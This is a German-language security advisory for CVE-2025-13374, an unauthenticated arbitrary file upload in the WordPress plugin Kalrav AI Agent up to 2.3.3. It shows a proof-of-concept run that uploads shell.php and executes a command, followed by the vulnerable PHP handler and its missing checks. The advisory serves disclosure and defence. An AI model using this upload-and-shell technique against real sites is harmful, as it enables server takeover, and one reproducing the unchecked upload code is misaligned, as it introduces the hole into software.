
Kalrav AI Agent <= 2.3.3 - Nicht authentifiziertes beliebiges Hochladen von Dateien via kalrav_upload_file AJAX Action
Das WordPress-Plugin Kalrav AI Agent (Version 2.3.3 und älter) enthält eine Schwachstelle für willkürlichen Datei-Upload, die es nicht authentifizierten Benutzern ermöglicht, bösartige PHP-Dateien auf den Server hochzuladen, was potenziell zu Remote-Code-Ausführung führen kann.
Ein POC CVE-2025-13374.py wird bereitgestellt, um zu demonstrieren, wie ein entfernter Angreifer shell.php hochlädt und Remote-Code ausführt:
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data
Die Schwachstelle existiert in der Funktion am Endpunkt . Der Upload-Funktion fehlt eine ordnungsgemäße Dateiüberprüfung, Nonce-Überprüfung und Berechtigungsprüfung. Dies ermöglicht es nicht authentifizierten Benutzern, beliebige Dateien hochzuladen, einschließlich PHP-Dateien, die auf dem Server ausgeführt werden können.
kalrav_upload_file()/wp-admin/admin-ajax.phpQuelle: Benutzereingabe von $_FILES['file'] (Zeile 978)
Senke: move_uploaded_file($_FILES['file']['tmp_name'], $target_path) (Zeile 982)
Die Schwachstelle tritt auf, weil:
wp_ajax_nopriv_kalrav_upload_file registriert (Zeile 967), was nicht authentifizierten Zugriff ermöglicht.wp_ajax_nopriv_ macht die Funktion für nicht authentifizierte Benutzer zugänglich.$_FILES['file'] werden ohne Validierung direkt verarbeitet.basename() angewendet: time() . '-' . basename($_FILES['file']['name']) (Zeile 979), was nur Directory Traversal verhindert, aber Dateierweiterungen nicht validiert.wp-content/plugins/kalrav-ai-agent/uploads/ gespeichert.Datei: kalrav-ai-agent.php
Zeilen: 969-996
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');
function kalrav_upload_file()
{
// Path to your plugin uploads folder
$upload_dir = plugin_dir_path(__FILE__) . 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (!empty($_FILES['file']['name'])) {
$file_name = time() . '-' . basename($_FILES['file']['name']);
$target_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
wp_send_json_success([
'message' => 'File uploaded successfully!',
'file_path' => $target_path,
'url' => plugins_url('uploads/' . $file_name, __FILE__)
]);
} else {
wp_send_json_error(['message' => 'Failed to move uploaded file.']);
}
} else {
wp_send_json_error(['message' => 'No file uploaded.']);
}
wp_die();
}